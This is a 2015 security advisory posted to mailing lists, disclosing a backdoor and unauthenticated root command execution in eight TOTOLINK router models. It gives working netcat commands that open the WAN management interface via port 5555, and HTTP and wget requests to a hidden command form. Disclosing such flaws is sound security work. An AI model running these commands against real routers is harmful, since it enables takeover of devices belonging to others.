Hello,

Please find a text-only version below sent to security mailing-lists.

The complete version on analysing the backdoor in TOTOLINK products is
posted here:

    https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html


=== text-version of the advisory without technical explanations ===

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## Advisory Information

Title: Backdoor and RCE found in 8 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerabilities Summary

A backdoor is present in several TOTOLINK products.
This was confirmed by analysing the latest firmwares and by testing
the backdoor against live routers.

At least 8 TOTOLINK products are affected (firmwares come from
totolink.net and from totolink.cn):

  - A850R-V1 : until last firwmware TOTOLINK-A850R-V1.0.1-B20150707.1612.web
  - F1-V2 : until last firmware F1-V2.1.1-B20150708.1646.web
  - F2-V1 : until last firmware F2-V2.1.0-B20150320.1611.web
  - N150RT-V2 : until last firmware TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
  - N151RT-V2 : until last firmware TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
  - N300RH-V2 : until last firmware TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
  - N300RH-V3 : until last firmware TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
  - N300RT-V2 : until last firmware TOTOLINK-N300RT-V2.1.1-B20150708.1613.web


By sending a crafted request to the WAN IP, an attacker will open the
HTTP remote management interface on the Internet.
Then an attacker can use a Remote Code Execution in the HTTP remote
management interface by using the hidden /boafrm/formSysCmd form,
bypassing the authentication system.

We estimate there are =~ 50 000 routers affected by this backdoor.



## Details - backdoor

The init.d script executes the /bin/skt binary when the router starts:

    cat etc/init.d/rcS
    [...]
    # start web server
    boa
    skt&


skt is a small MIPS binary which is a client/server program. The arguments are:

    server: ./skt
    client: ./skt host cmd


The binary can be used in x86_64 machines using QEMU: sudo chroot .
./qemu-mips-static ./bin/skt

Using skt without argument will launch a TCP daemon on port 5555 in
every interface (including WAN), acting as an ECHO server.
Using skt with arguments will send a TCP packet containing the command
to the specified IP on port 5555.

The analysis of the binary running on the TOTOLINK devices (for more
details, read
https://pierrekim.github.io/blog/2015-07-XX-backdoor-in-TOTOLINK-products.html
) shows the server mode responds to 3 commands by silently executing
system() in the background:


    o By sending "hel,xasf" to the device, the device will execute:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT

    This will open the HTTP remote management interface on port 80 in
the eth1 interface which is the WAN interface by default.


    o By sending "oki,xasf" to the device, the device will execute:
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT

    This will close the HTTP remote management interface.


    o By sending "bye,xasf" to the device, the device will do nothing


The iptables commands in the backdoor are hardcoded with "eth1".
Only devices using DHCP and static IP connections are affected because
the WAN IP is attached on the eth1 device.

It does not affect devices using PPPoE connections, because the WAN IP
is attached on the ppp device, as seen below:

totolink# ifconfig
ppp0      Link encap:Point-to-Point Protocol
          inet addr:X.X.X.X  P-t-P:X.X.X.X  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1438  Metric:1
          RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:64
          RX bytes:2803138455 (2.6 GiB)  TX bytes:277402492 (264.5 MiB)



An attacker can use these simple netcat commands to test the backdoor:

To open the HTTP remote management interface on the Internet:

    echo -ne "hel,xasf" | nc <ip> 5555

To close the HTTP remote management interface on the Internet:

    echo -ne "oki,xasf" | nc <ip> 5555

To detect a vulnerable router:

    echo -ne "GET / HTTP/1.1" | nc <ip> 5555

    if you see "GET / HTTP/1.1" in the answer, you likely detected a
vulnerable router.


## Details - RCE in the management interface

A hidden form in the latest firmware allows an attacker to execute
commands as root by sending a HTTP request:


    POST /boafrm/formSysCmd HTTP/1.1

    sysCmd=<cmd>&apply=Apply&msg=


An attacker can use wget to execute commands in the remote device:

    wget --post-data='sysCmd=<cmd>&apply=Apply&msg='
https://ip//boafrm/formSysCmd


For instance, sending this HTTP request to the management interface
will reboot the device:


    POST /boafrm/formSysCmd HTTP/1.1

    sysCmd=reboot&apply=Apply&msg=

This wget command will do the same job:

    wget --post-data='sysCmd=reboot&apply=Apply&msg='
https://ip//boafrm/formSysCmd



## Vendor Response

TOTOLINK was not contacted in regard of this case.



## Report Timeline

* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: Working PoCs with RCE.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Alexandre Torres and Pierre Kim
(@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x02.txt
https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: https://creativecommons.org/licenses/by-nc-sa/3.0/


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-- 
Pierre Kim
pierre.kim.sec@gmail.com
@PierreKimSec
https://pierrekim.github.io/